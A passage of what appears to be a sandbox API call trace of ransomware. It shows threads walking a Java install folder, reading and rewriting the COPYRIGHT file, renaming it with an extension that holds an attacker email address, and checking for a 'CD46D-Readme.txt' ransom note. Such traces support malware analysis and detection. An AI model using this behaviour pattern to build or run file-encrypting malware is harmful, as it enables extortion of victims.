nFileSizeHigh=0x0, nFileSizeLow=0xe3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0049.599] wcscmp (_String1="unpack.dll", _String2=".") returned 1 [0049.599] wcscmp (_String1="unpack.dll", _String2="..") returned 1 [0049.599] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x23ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0049.599] wcscmp (_String1="unpack200.exe", _String2=".") returned 1 [0049.599] wcscmp (_String1="unpack200.exe", _String2="..") returned 1 [0049.599] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0049.599] wcscmp (_String1="verify.dll", _String2=".") returned 1 [0049.599] wcscmp (_String1="verify.dll", _String2="..") returned 1 [0049.599] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0049.599] wcscmp (_String1="w2k_lsa_auth.dll", _String2=".") returned 1 [0049.599] wcscmp (_String1="w2k_lsa_auth.dll", _String2="..") returned 1 [0049.599] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x177a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-32.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0049.599] wcscmp (_String1="WindowsAccessBridge-32.dll", _String2=".") returned 1 [0049.599] wcscmp (_String1="WindowsAccessBridge-32.dll", _String2="..") returned 1 [0049.600] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0049.600] wcscmp (_String1="wsdetect.dll", _String2=".") returned 1 [0049.600] wcscmp (_String1="wsdetect.dll", _String2="..") returned 1 [0049.600] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0049.600] wcscmp (_String1="zip.dll", _String2=".") returned 1 [0049.600] wcscmp (_String1="zip.dll", _String2="..") returned 1 [0049.600] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0049.600] FindClose (in: hFindFile=0x4409e0 | out: hFindFile=0x4409e0) returned 1 [0051.261] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ab08) returned 1 [0051.261] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413d30) returned 1 [0051.261] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413cd8) returned 1 Thread: id = 234 os_tid = 0x950 [0046.785] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright")) returned 0x20 [0049.684] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT", dwFileAttributes=0x20) returned 1 [0057.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a4 [0057.321] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x30afb34 | out: lpFileSize=0x30afb34*=3409) returned 1 [0057.321] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0xd4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.321] ReadFile (in: hFile=0x2a4, lpBuffer=0x30afab8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30afab4, lpOverlapped=0x0 | out: lpBuffer=0x30afab8*, lpNumberOfBytesRead=0x30afab4*=0x4, lpOverlapped=0x0) returned 1 [0057.328] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.328] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608f8 [0057.328] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0057.328] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608a8 [0057.328] NtQuerySystemTime (in: CurrentTime=0x30afa94 | out: CurrentTime=0x30afa94*=132174898213068000) returned 0x0 [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x4202a7db [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x3cff33ad [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0xa621c18 [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x6937be8a [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x5a8d2ff8 [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x3823d71a [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x5b650b3c [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x6cbf446e [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x4c722f09 [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x517e1ba8 [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x751b69d6 [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x89c54d1 [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x451a0612 [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x1f92de2e [0057.328] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x246b5001 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x2e95b08d [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x139356b2 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x472c04fc [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x50ce53c8 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x63fd3173 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x44128ea7 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x35233e58 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x3c53d0ad [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x1ff20c8b [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x10686c01 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x421b5391 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x6e5e9f89 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x242b9276 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x79230eb9 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x3c14d891 [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x13abe5ae [0057.329] RtlRandomEx (in: Seed=0x30afaa0 | out: Seed=0x30afaa0) returned 0x7fb41ae3 [0057.340] ReadFile (in: hFile=0x2a4, lpBuffer=0x5e79880, nNumberOfBytesToRead=0xd51, lpNumberOfBytesRead=0x30afa90, lpOverlapped=0x0 | out: lpBuffer=0x5e79880*, lpNumberOfBytesRead=0x30afa90*=0xd51, lpOverlapped=0x0) returned 1 [0057.341] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.341] WriteFile (in: hFile=0x2a4, lpBuffer=0x5e86088*, nNumberOfBytesToWrite=0xd51, lpNumberOfBytesWritten=0x30afa8c, lpOverlapped=0x0 | out: lpBuffer=0x5e86088*, lpNumberOfBytesWritten=0x30afa8c*=0xd51, lpOverlapped=0x0) returned 1 [0057.373] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460948 [0057.373] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460970 [0057.374] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460970) returned 1 [0057.374] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e86088) returned 1 [0057.374] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79880) returned 1 [0057.374] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.374] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.374] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x460970 [0057.374] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.374] WriteFile (in: hFile=0x2a4, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x30afaf4, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x30afaf4*=0x103, lpOverlapped=0x0) returned 1 [0057.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0057.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4609e8) returned 1 [0057.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460a10) returned 1 [0057.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460970) returned 1 [0057.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460948) returned 1 [0057.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608d0) returned 1 [0057.382] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460880) returned 1 [0057.382] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4607e0) returned 1 [0057.382] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43de70 [0057.382] wcscpy (in: _Dest=0x43de70, _Source="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0057.382] wcscat (in: _Dest=0x43de70, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT.mailto[2Hamlampampom@cock.li].cd46d" [0057.382] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x30afaac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0057.382] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02360 [0057.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02360) returned 1 [0057.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x455998) returned 1 [0057.391] NtQueryInformationFile (in: FileHandle=0x2a4, IoStatusBlock=0x30afab8, FileInformation=0x30afa90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30afab8, FileInformation=0x30afa90) returned 0x0 [0057.391] NtSetInformationFile (FileHandle=0x2a4, IoStatusBlock=0x30afab8, FileInformation=0x30afa90, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.399] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43de70) returned 1 [0057.399] FlushFileBuffers (hFile=0x2a4) returned 1 [0057.401] CloseHandle (hObject=0x2a4) returned 1 [0057.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420fc8 [0057.402] wcscpy (in: _Dest=0x420fc8, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0057.402] wcscat (in: _Dest=0x420fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" [0057.402] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\cd46d-readme.txt")) returned 0x20 [0057.402] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420fc8) returned 1 [0057.402] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a370) returned 1 Thread: id = 235 os_tid = 0x974 [0046.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414360 [0046.786] wcscpy (in: _Dest=0x414360, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0046.786] wcscat (in: _Dest=0x414360, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0046.786] wcscat (in: _Dest=0x414360, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\*" [0046.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45ad70 [0046.786] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\*", lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440160 [0051.181] wcscmp (_String1=".", _String2=".") returned 0 [0051.181] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.683] wcscmp (_String1="..", _String2=".") returned 1 [0051.683] wcscmp (_String1="..", _String2="..") returned 0 [0051.683] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0051.683] wcscmp (_String1="accessibility.properties", _String2=".") returned 1 [0051.683] wcscmp (_String1="accessibility.properties", _String2="..") returned 1 [0051.683] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8910 [0051.683] wcscpy (in: _Dest=0x96f8910, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0051.683] wcscat (in: _Dest=0x96f8910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0051.683] wcscat (in: _Dest=0x96f8910, _Source="accessibility.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" [0052.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0 [0052.436] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="alt-rt.jar", cAlternateFileName="")) returned 1 [0052.437] wcscmp (_String1="alt-rt.jar", _String2=".") returned 1 [0052.437] wcscmp (_String1="alt-rt.jar", _String2="..") returned 1 [0052.437] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d048 [0052.437] wcscpy (in: _Dest=0x48d048, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.437] wcscat (in: _Dest=0x48d048, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.437] wcscat (in: _Dest=0x48d048, _Source="alt-rt.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" [0052.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a4 [0052.438] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0052.438] wcscmp (_String1="applet", _String2=".") returned 1 [0052.438] wcscmp (_String1="applet", _String2="..") returned 1 [0052.438] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a310 [0052.438] wcscpy (in: _Dest=0x44a310, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.438] wcscat (in: _Dest=0x44a310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.438] wcscat (in: _Dest=0x44a310, _Source="applet" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" [0052.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a8 [0052.439] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0052.440] wcscmp (_String1="calendars.properties", _String2=".") returned 1 [0052.440] wcscmp (_String1="calendars.properties", _String2="..") returned 1 [0052.440] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400c98 [0052.440] wcscpy (in: _Dest=0x400c98, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.440] wcscat (in: _Dest=0x400c98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.440] wcscat (in: _Dest=0x400c98, _Source="calendars.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" [0052.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ac [0052.441] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751d4820, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x751d4820, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75220ae0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364427, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0052.441] wcscmp (_String1="charsets.jar", _String2=".") returned 1 [0052.441] wcscmp (_String1="charsets.jar", _String2="..") returned 1 [0052.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421ab8 [0052.441] wcscpy (in: _Dest=0x421ab8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.441] wcscat (in: _Dest=0x421ab8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.441] wcscat (in: _Dest=0x421ab8, _Source="charsets.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" [0052.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b0 [0052.442] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12543, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0052.442] wcscmp (_String1="classlist", _String2=".") returned 1 [0052.442] wcscmp (_String1="classlist", _String2="..") returned 1 [0052.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d1e8 [0052.442] wcscpy (in: _Dest=0x48d1e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files 